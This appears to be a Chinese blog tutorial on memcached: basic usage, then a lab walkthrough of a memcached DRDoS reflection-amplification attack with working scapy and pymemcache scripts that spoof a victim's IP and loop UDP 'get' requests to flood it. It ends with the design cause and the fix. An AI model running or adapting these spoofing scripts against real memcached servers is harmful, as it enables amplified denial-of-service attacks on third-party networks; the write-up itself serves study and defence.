由于最近某高校的宽带出口被DRDoS了,罪魁祸首是公网上的未授权访问的memcached肉鸡,因此实践一下memcached的DRDoS,学习其中的原理。

一、memcached使用

1.安装

sudo apt-get install libevent-dev
sudo apt-get install memcached

2.运行

-l 设置监听地址 -d 设置后台运行 -m64 设置缓存大小为64m -p用于设置tcp端口 -U用于设置udp端口

  • memcached -m64 -l 0.0.0.0 -p 11211 -d 只监听tcp端口
  • memcached -p 0 -l 0.0.0.0 -m64 -U 11212 -d 只监听udp端口
  • memcached -U 11211 -l 0.0.0.0 -p 11211 -m64 -d 同时监听tcp和udp

memcached 默认运行会使用以下配置文件(完整的配置文件在这里 /etc/init.d/memcached)

  • vim /etc/memcached.conf

查看运行的进程、端口监听状态

  • ps -aux |grep memcached | grep -v grep
  • netstat -anop | grep 11211

3.使用方式

tcp连接方式

  • telnet ip port

udp通信方式

  • echo "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | socat - udp4-datagram:<ip>:<port>

4.基本命令

查看状态

  • stats

设置key value

  • set key flags exptime bytes
  • value
    (设置成功会返回STORE)
    • key:键值 key-value 结构中的 key,用于查找缓存值。
    • flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
    • exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
    • bytes:在缓存中存储的字节数(注意必须为value的大小)
    • noreply(可选): 该参数告知服务器不需要返回数据
    • value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)

获取key value

  • get key

清空缓存

  • flush_all

更多基本使用方式参考:http://www.runoob.com/memcached/memcached-tutorial.html

5.使用举例

➜  ~ telnet 0.0.0.0  11211
Trying 0.0.0.0...
Connected to 0.0.0.0.
Escape character is '^]'.
set 2018 0 0 10
1234567890
STORED
get 2018
VALUE 2018 0 10
1234567890
END
quit
Connection closed by foreign host.

二、memcached DRDoS实践

1.关于memcached DRDoS

DRDoS(Distributed Reflection Denial of Service) 指的是利用IP Spoofing技术,构造带有受害者IP的数据包,发送给肉鸡,然后肉鸡对受害者IP做出大量回应,造成拒绝服务。

对于memcached服务而言,由于其支持tcp和udp两种协议。因而攻击者可以通过IP Spoofing技术构造src为受害者IP的udp数据包,发送给memcached主机集群,进而可以对受害者IP发出大量的响应。

除了支持udp协议外,memcached服务在互联网上大量存在、memcached服务可以通过较少的请求数据就可以反射大量的数据,因而memcached DRDoS最近造成了很大的影响。

2. 基于scapy测试memcached DRDoS攻击

接下来准备动手实践一下DRDoS攻击。网络环境拓扑:

物理机A ip 10.2.46.82 (受害者)
NAT虚拟机B ip 192.168.63.165 (装有memcached的肉鸡)
NAT虚拟机C ip 192.168.63.151 (攻击者)

我的memcached版本是1.4.25,通过memcached -U 11211 -l 0.0.0.0 -p 11211 -m64 -d 来同时开启udp和tcp监听。

首先测试一下payload是否可以通过udp的方式放到肉鸡memcached上。

I. 在攻击机C上使用scapy构造udp数据包发送,测试payload暂时为123456789A

data = "\x00\x00\x00\x00\x00\x01\x00\x00set kali 0 0 10\r\n123456789A\r\n"
package = IP(dst='192.168.63.165',src='10.2.46.82')/UDP(dport=11211,sport=2019)/data
send(package)

1524799479372

II. 在肉鸡B上监听网卡的数据:发现确实收到了伪造的UDP数据包。

  • sudo tcpdump -ni ens33 port 11211 -t

Alt text

在肉鸡B上查看数据是否写入memcached,发现已经成功写入了。

  • echo "\x00\x00\x00\x00\x00\x01\x00\x00get kali\r\n" | socat - udp4-datagram:192.168.63.165:11211

Alt text

III. 在攻击机C上构造udp数据包发送,将存下来的payload反射给受害者A。

>>> data = "\x00\x00\x00\x00\x00\x01\x00\x00get kali\r\n"
>>> package = IP(dst='192.168.63.165',src='10.2.46.82')/UDP(dport=11211,sport=2019)/data
>>> send(package)

Alt text

IV. 再查看肉鸡B上监听网卡的数据:发现收到了伪造的UDP数据包(length 18),并且把存下来的payload反射给了A(length 42)。
Alt text
如果一开始存储的payload很长,比如为1M,那么每次攻击者只需要发送18byte的数据包,就可以反射1M的数据包给受害者A。

通过以上测试,我们明白了memcached DRDoS的原理。接下来我们尝试增加payload的长度。这里写了一个简单的scapy脚本,首先构造payload,然后从命令行获取攻击的次数,调用get 反射给受害者。

from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sys


payload = "D"*1000
data = "\x00\x00\x00\x00\x00\x01\x00\x00set kali 0 0 %d\r\n%s\r\n" % (len(payload), payload)
package = IP(dst='192.168.63.165', src='10.2.46.82')/UDP(dport=11211,sport=2018)/data
send(package)
print "[*] set payload success!"

for i in range(int(sys.argv[1] )):
    data = "\x00\x00\x00\x00\x00\x01\x00\x00get kali\r\n"
    package = IP(dst='192.168.63.165', src='10.2.46.82')/UDP(dport=11211,sport=2018)/data
    send(package, count=1)
    print "[*] send %d times " % int(i+1)

使用speedometer -r ens33来监控流量:
Alt text
网卡数据:
Alt text
我们把payload长度修改为1000了,确实成功模拟了这一过程。但是,为什么不把payload的长度增加一点呢?
一个UDP的数据包中length的长度最大是64KB-1,memcached中存储的key-value value最大是1MB。按理说我们可以把payload设置为64KB-1,但是实际测试时,
发送稍微长一点的payload,就写不进memcached了,感觉memcached的UDP还是非常不稳定的。

攻击者:
    python -c  "print '\x00\x00\x00\x00\x00\x01\x00\x00set kali 0 0 %d\r\n%s\r\n'%(5000,5000*'g')" | socat - udp4-datagram:192.168.63.165:11211
查看memcached日志:
    <28 set kali 0 0 5000
    >26 SERVER_ERROR multi-packet request not supported

3. 基于 pymemcache 使用tcp来set数据 、基于scapy使用udp get

既然用udp来set数据不是非常稳定,那么我们可以使用tcp来set 1M的数据,再用udp来发送发射报文。这里使用python的pymemcache来测试。安装:sudo pip install pymemcache 。

from pymemcache.client.base import Client
import sys

client = Client(('192.168.63.165', 11211))
# set payload
key = 't'
data ='A'*1023*1023 + "B"
result = client.set('t', data)
if result:
    print "[*] payload set done!"
else:
    print "[!] payload set error!"

set完数据之后,就可以使用udp来进行DRDoS攻击了。首先使用udp来get数据,查看是否写入:

  • echo "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n" | socat - udp4-datagram:192.168.63.165:11211

编写反射脚本

from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sys

for i in range(int(sys.argv[1] )):
    data = "\x00\x00\x00\x00\x00\x01\x00\x00get T\r\n"
    package = IP(dst='192.168.63.165', src='10.2.46.82')/UDP(dport=11211,sport=2018)/data
    send(package, count=1)
    print "[*] send %d times " % int(i+1)

一个memcached的udp get最小是15byte:
UDP头+"get T\r\n" = 8byte + 7byte = 15byte
但是反射的payload最大可以1MB,倍数大约是7万倍。

三、总结

DRDoS攻击要求攻击者需要能够在肉鸡上布置大量的数据,然后通过IP Spoof来伪造src为受害者的udp请求,受害者便会收到大量的数据。memcached在公网上存在大量未授权就可以访问的主机,而且支持udp协议,给DRDoS带来了很大的方便。官方的解决方案是从1.5.6版本开始默认禁用udp协议。那么为什么一开始要支持udp协议呢?在1.5.6的更新说明中提到:12年前,tcp的开销比较高,udp使用更广泛。而现在的计算机RAM很大,tcp的缓存增加了,开销也就不是问题了。因此这次造成memcached DRDoS造的本质原因是属于设计上的缺陷,而非计算机软件漏洞。

四、参考

  1. https://github.com/memcached/memcached/wiki/ReleaseNotes156
  2. https://cert.360.cn/warning/detail?id=c63eb87058834e37c7c112c35ef5f9fd
  3. http://www.freebuf.com/vuls/164864.html
  4. http://payloads.online/archivers/2018-03-04/1
  5. https://www.anquanke.com/post/id/99410
  6. https://blog.csdn.net/microzone/article/details/79262549
  7. http://www.4hou.com/technology/10680.html